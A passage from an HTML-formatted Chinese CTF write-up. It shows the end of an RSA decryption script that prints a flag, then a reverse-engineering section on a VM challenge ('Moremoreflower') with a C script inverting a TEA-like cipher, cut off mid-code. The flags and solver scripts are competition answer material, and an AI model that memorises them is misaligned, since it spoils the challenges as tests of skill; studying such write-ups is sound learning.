leaf="">14180624331525991413806961940205749159059672195526010812302727853797689314317592739705685551298732523630959991899621053483135891357764554237827830483836439016974587279272031674430927658131895070464916701588233589386349049620755733138785652009983671996549157331713576664774799256183477206330524171028474266411634935294668960034971282728570749735946140241122767282799298230610201636191394577538375846828013584508852185295950919801912280565423819423712437302673912737370268540642137115217185193479116171916803844236143555349715053108779636638218404547424967160100212508958775263973108754654389190280868923617834114867493</span></span><span leaf=""><br/></span><span leaf="">c=open(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;enc&#34;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;rb&#34;</span></span><span leaf="">).read()</span><span leaf=""><br/></span><span leaf="">from Crypto.Util.number </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> *</span><span leaf=""><br/></span><span leaf="">c=bytes_to_long(c)</span><span leaf=""><br/></span><span leaf="">d=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2818724236741671359128769187179810547909044666675265260768069231661668260817660718866645913151917874535631116172290215144275909425092025869246764203201125241729277109</span></span><span leaf=""><br/></span><span leaf="">m=</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">pow</span></span><span leaf="">(c,d,n)</span><span leaf=""><br/></span><span leaf="">print(long_to_bytes(m))</span><span leaf=""><br/></span><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfz-dkyaln" style="color: #576B95 !important;" data-topic="1">#flag</a>{RSA_key_rebuild_success}</span></code></pre><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Reverse:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Moremoreflower</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">vm</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5157407407407407" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030131" src="https://wechat2rss.xlab.app/img-proxy/?k=1e930b1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFJPljZXfT44m59slQibpzBIeovD1JuPNwU7JTwauMu9VtonDOG6MG9eA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">算法还原</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.7822318526543879" data-type="png" data-w="923" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030130" src="https://wechat2rss.xlab.app/img-proxy/?k=e19e8753&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFJ5oCS3nBgicwM8RRHDvnJs1ICKRxJ41D9Xco8749Mpkibib2Dia98M7obg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">关键算法位置</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.19722222222222222" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030132" src="https://wechat2rss.xlab.app/img-proxy/?k=6bd87245&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFWDoPg7c1giaBgG6WN5klc3qV3AQW64XhaX0WZmNzvVS7fPWe59dWSAQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">密文在操作码0x21到0xe9的位置</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.21851851851851853" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030135" src="https://wechat2rss.xlab.app/img-proxy/?k=0e6b5e89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFvcK9ClMNN0vsYtOQ4QyESQShWQ2oqGnSlmEj2Lxp3jSwjLrpMHc9FQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">解密脚本</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;stdio.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;stdint.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;string.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;stdlib.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 正向加密函数（用于验证）</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">encrypt_forward</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> a_initial)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> de = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x23251156</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> sum = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1e</span></span><span leaf="">; i++) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> b;</span><span leaf=""><br/></span><span leaf="">        sum += de;</span><span leaf=""><br/></span><span leaf="">        b = (a_initial &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">) ^ sum ^ (a_initial &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        a_initial = a_initial + b;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> a_initial;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 逆向解密函数</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">decrypt_round</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> a_next, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> sum)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 我们需要解方程: a_next = a_prev + ((a_prev &lt;&lt; 5) ^ sum ^ (a_prev &gt;&gt; 4))</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 等价于: a_prev = a_next - ((a_prev &lt;&lt; 5) ^ sum ^ (a_prev &gt;&gt; 4))</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 这是一个位运算方程，我们可以逐位确定</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> a_prev = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 从最低位开始，逐位确定</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> bit = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; bit &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">; bit++) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> mask = (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1U</span></span><span leaf=""> &lt;&lt; (bit + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)) - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 当前位及更低位的掩码</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 测试当前位为0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> test0 = a_prev;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> b0 = ((test0 &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">) ^ sum ^ (test0 &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> result0 = (test0 + b0) &amp; mask;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 测试当前位为1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> test1 = a_prev | (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1U</span></span><span leaf=""> &lt;&lt; bit);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> b1 = ((test1 &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">) ^ sum ^ (test1 &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> result1 = (test1 + b1) &amp; mask;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 检查哪个与a_next匹配</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ((a_next &amp; mask) == result0) {</span><span leaf=""><br/></span><span leaf="">            a_prev = test0;</span><span leaf=""><br/></span><span leaf="">        } </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ((a_next &amp; mask) == result1) {</span><span leaf=""><br/></span><span leaf="">            a_prev = test1;</span><span leaf=""><br/></span><span leaf="">        } </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 理论上不会到这里</span></span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;第%d位无解\n&#34;</span></span><span leaf="">, bit);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">;  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 错误标志</span></span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 验证</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> b_check = ((a_prev &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">) ^ sum ^ (a_prev &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> a_check = a_prev + b_check;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (a_check != a_next) {</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;验证失败: a_next=0x%08x, 计算得0x%08x\n&#34;</span></span><span leaf="">, a_next, a_check);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> a_prev;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 完整逆向解密</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">decrypt_full</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> ciphertext)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> de = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x23251156</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> rounds = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1e</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 预计算所有sum值</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> sums[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1e</span></span><span leaf=""> + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">    sums[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">; i &lt;= rounds; i++) {</span><span leaf=""><br/></span><span leaf="">        sums[i] = sums[i - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] + de;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 从最终密文开始逆向</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> a_current = ciphertext;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 逆向循环30次</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> r = rounds - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">; r &gt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; r--) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> sum_current = de * (r + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">);  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 第r轮时的sum值</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 逆向解密一轮</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> a_prev = decrypt_round(a_current, sum_current);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (a_prev == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;第%d轮解密失败\n&#34;</span></span><span leaf="">, r);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        a_current = a_prev;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> a_current;  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 返回原始明文</span></span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 更高效的方法：直接解方程（使用数学性质）</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">decrypt_direct</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> ciphertext)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> de = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x23251156</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> rounds = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1e</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 最终轮的sum值</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> final_sum = de * rounds;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 从最后一步开始逆向</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> a_current = ciphertext;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> r = rounds - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">; r &gt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; r--) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> sum_val = de * (r + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 我们需要解: a_current = x + ((x &lt;&lt; 5) ^ sum_val ^ (x &gt;&gt; 4))</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 重写为: x = a_current - ((x &lt;&lt; 5) ^ sum_val ^ (x &gt;&gt; 4))</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 这个方程可以迭代求解</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> x = a_current;  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 初始猜测</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 